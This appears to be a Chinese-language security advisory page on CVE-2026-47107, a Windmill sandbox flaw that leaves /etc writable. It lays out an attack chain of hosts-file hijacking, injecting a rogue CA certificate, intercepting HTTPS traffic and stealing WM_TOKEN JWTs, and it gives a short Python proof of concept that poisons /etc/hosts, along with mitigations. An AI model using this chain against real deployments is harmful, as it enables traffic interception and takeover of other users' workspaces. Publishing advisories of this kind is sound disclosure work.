IPBUF安全漏洞报告
English
CVE-2026-47107 CVSS 8.1 高危

CVE-2026-47107: Windmill沙箱权限不当漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-47107
漏洞类型
权限管理不当
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Windmill

相关标签

权限管理不当沙箱逃逸Windmill中间人攻击

漏洞概述

Windmill 1.703.2之前版本存在不正确的默认权限漏洞。由于nsjail沙箱配置中/etc目录被无限制挂载,允许已认证用户修改/etc/hosts等关键文件。攻击者可利用此漏洞进行DNS劫持、HTTPS中间人攻击,并最终获取其他用户工作区的管理员权限。

技术细节

该漏洞源于Windmill在配置nsjail沙箱时存在严重的安全疏忽。沙箱配置将宿主机的/etc目录以读写模式(RW)直接挂载到容器内部,导致沙箱隔离失效。经过身份验证的低权限攻击者利用此缺陷,可以在脚本执行过程中修改/etc/hosts进行域名劫持,或篡改/etc/ssl/certs/ca-certificates.crt注入攻击者控制的根证书。由于Pod是复用的,这种污染会在后续的脚本执行中持续存在。攻击者结合DNS劫持与自定义证书,能够对同一Pod内的后续HTTPS请求实施透明的中间人攻击,成功拦截并解密流量,从而窃取具有高权限的WM_TOKEN JWT令牌,最终实现对受害者工作区的完全控制。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者注册或获取一个Windmill平台的低权限用户账号。
STEP 2
步骤2:执行恶意脚本
攻击者在沙箱环境中运行脚本,利用/etc目录的读写挂载权限,修改/etc/hosts文件进行域名劫持,或向/etc/ssl/certs/ca-certificates.crt写入恶意CA证书。
STEP 3
步骤3:持久化污染
由于Worker Pod被复用,攻击者写入的恶意配置文件会保留在Pod中,影响后续在该Pod上运行的所有脚本。
STEP 4
步骤4:中间人攻击
当其他用户(或系统自身)在该Pod上运行脚本并访问受保护的API时,攻击者利用DNS劫持和伪造的证书拦截HTTPS流量。
STEP 5
步骤5:权限提升
攻击者解密拦截到的流量,窃取其中的WM_TOKEN JWT令牌,利用该令牌获取受害工作区的Workspace Admin权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import os def exploit(): # Attacker controlled IP and domain malicious_ip = "192.168.1.100" target_domain = "internal.api.service" # Path to hosts file inside the sandbox (mapped to host /etc/hosts) hosts_path = "/etc/hosts" try: # Append malicious entry to /etc/hosts with open(hosts_path, "a") as f: f.write(f"{malicious_ip} {target_domain}\n") print(f"[+] Successfully poisoned {hosts_path}") print(f"[+] {target_domain} now points to {malicious_ip}") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit()

影响范围

Windmill < 1.703.2

防御指南

临时缓解措施
在未升级前,建议限制非管理员用户创建和执行脚本的权限,或实施严格的网络隔离策略以防止DNS劫持。管理员应立即审查nsjail配置文件,确保/etc目录未被以读写权限挂载,必要时将其修改为只读(ro)或使用tmpfs挂载。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表